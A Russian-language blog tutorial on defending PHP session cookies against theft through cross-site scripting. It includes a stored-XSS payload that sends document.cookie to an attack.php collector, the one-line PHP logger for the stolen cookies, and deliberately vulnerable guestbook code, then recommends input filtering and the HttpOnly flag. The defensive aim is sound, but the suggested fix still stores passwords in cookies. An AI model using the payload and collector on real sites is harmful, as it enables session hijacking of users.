Как защититься от кражи сессионных php кук?


Приветствую вас дорогие друзья! Эта статейка будет посвящена защите веб приложения, а именно защите пользователей от кражи (с помощью javascript) их кук! Как защититься от кражи cookie Итак, давайте рассмотрим такую ситуацию.. Допустим, на моем сайте реализован функционал регистрации и авторизации пользователей, и если с защитой приложения при регистрации пользователей проблем возникнуть не должно, то вот после авторизации и создании кук, могут возникнуть проблемы, связанные с их кражей.

Как можно посмотреть сессионные cookie?

Вот такой вот незамысловатый javascript код выведет нам на экран куки (если они имеются), связанные с сайтом на котором вы находитесь:
<script>
alert(document.cookie);
</script>
После этого вы увидите всплывающее окошко, в котором будет указано названия кук (если их несколько) и PHPSESSID.

Как происходит кража кук?

Сам процесс похищения данных я бы разделил, условно, на 2 этапа: 1. Внедрение нужного кода на страницу. Допустим, у нас на сайте организована гостевая книга (книга отзывов или ещё что-то подобное) - чтобы оставить свой отзыв, нужно заполнить поля - простая  формочка из 3 полей, код формы:
<form method="POST" action="">

	Логин: <input type="text" name="login">
	Пароль: <input type="password" name="pass">
	Отзыв: <input type="text" name="text">
	<input type="submit" name="send" value="Отправить">

</form>
Логика такая: если логин и пароль верны - авторизуем пользователя, создав cookie:
setcookie("login",$_POST['login'],time()+259200,"/");
setcookie("pass",$_POST['pass'],time()+259200,"/");
Вроде все хорошо, установили куки на 3 дня. Далее выводим наш отзыв:

echo '<p>Автор '.$_POST['login'].'</p><p>Отзыв '.$_POST['text'].'</p>';

Все хорошо, как могут похитить данные? правильно? А теперь представьте, к вам пришел хакер - что он сделает? А сделать, благодаря вышеизложенному коду, он может все что душе угодно! Он авторизуется под своим логином и паролем, но в поле отзыва он впишет следующее:

Отзыв<script>var img = new image;img.src = "https://sergey-oganesyan.ru/attack.php?"+document.cookie;</script>

То есть теперь, когда какой-нибудь другой пользователь оставит свой отзыв, будет дергаться скрипт, которому будет передаваться GET параметр - куки пользователя. 2. Получение и обработка данных. Получить и обработать данные - это уже дело второе, содержимое файла attack.php может быть таким:

file_put_contents("pass.txt",$_SERVER['REQUEST_URI'],FILE_APPEND);

То есть в файл pass.txt будут построчно записываться данные о куках пользователей.

Как защититься?

Во-первых, всегда фильтруйте входные данные! Немного о фильтрации данных - давайте рассмотрим на данном примере и выясним, как делать нельзя и как нужно делать. Как нельзя делать:

echo '<p>Автор '.$_POST['login'].'</p><p>Отзыв '.$_POST['text'].'</p>';

Как нужно делать:

$login = check_data($_POST['login']);
$text= check_data($_POST['text']);

echo '<p>Автор '.$login.'</p><p>Отзыв '.$text.'</p>';

Где check_data - это написанная вами функция, в которой вы проверяете нужные данные должным образом! Во-вторых: делайте куки недоступными для скриптовых языков, таких как javascript! Для того, чтобы сделать просмотр кук с помощью javascript недопустимым, необходимо правильно устанавливать php cookie! Как нельзя делать:

setcookie("pass",$_POST['pass'],time()+259200,"/");

Как нужно делать:

$pass= check_data($_POST['pass']);

setcookie("pass",$pass,time()+259200,"/","sergey-oganesyan.ru",false,true);

А теперь давайте пройдемся по всем параметрам (слева направо) функции setcookie: 1. Название куки 2. Значение 3. Время жизни 4. Путь к директории, в которой доступны куки (/ - доступны во всем домене) 5. Домен, на котором они разрешены 6. Куки должны передаваться только от пользователя по защищенному соединение HTTPS - ставим false 7. Ставим true и наши cookie будут доступны только через протокол HTTP Седьмой параметр появился с версии php 5.2.0 - очень часто о нем забывают. Вот, в принципе, и вся защита! Теперь фокус с кражей с помощью javascript не пройдет. Не забывайте фильтровать данные и устанавливайте куки правильно! На этом у меня все, удачи!


Раздел: Программирование

Дата последнего изменения: 2014-10-26 22:27:49

Просмотров: 11677

Читайте также:

Игра Угадай число на JavaScript!
Html таблица на JavaScript
Сортировка пузырьком на JavaScript
Движущаяся машина на JavaScript!
Видео галерея на JavaScript!
Падающий мяч на JavaScript!
Генератор случайных картинок на JavaScript!
Как изменить фон страницы на JavaScript

Оставить комментарий

* Комментарий: (отменить ответ)

* Ваше имя:

Ваш e-mail:

*